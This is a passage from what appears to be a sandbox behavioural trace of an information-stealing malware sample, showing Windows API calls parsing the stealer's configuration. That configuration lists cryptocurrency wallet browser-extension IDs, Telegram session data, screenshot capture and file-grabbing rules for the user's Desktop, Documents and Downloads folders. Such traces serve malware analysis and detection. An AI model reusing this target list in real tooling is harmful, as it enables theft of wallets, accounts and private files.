Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.579] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.580] LocalFree (hMem=0x6b9720) returned 0x0 [0260.580] LocalFree (hMem=0x6baae8) returned 0x0 [0260.580] LocalFree (hMem=0x6bbeb0) returned 0x0 [0260.580] StrStrW (lpFirst="ews_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.580] lstrlenW (lpString="ews_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2452 [0260.581] lstrlenW (lpString="ews_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2452 [0260.581] LocalAlloc (uFlags=0x40, uBytes=0x1328) returned 0x6b9720 [0260.581] lstrlenW (lpString="ews_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2452 [0260.581] LocalAlloc (uFlags=0x40, uBytes=0x1328) returned 0x6baa50 [0260.581] lstrlenW (lpString="ews_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2452 [0260.581] LocalAlloc (uFlags=0x40, uBytes=0x1328) returned 0x6bbd80 [0260.581] StrStrW (lpFirst="ews_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.581] lstrlenW (lpString="ews_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2452 [0260.581] LocalAlloc (uFlags=0x40, uBytes=0x13a8) returned 0x6bd0b0 [0260.581] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.581] LocalFree (hMem=0x6bd0b0) returned 0x0 [0260.581] StrStrW (lpFirst="ews_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension 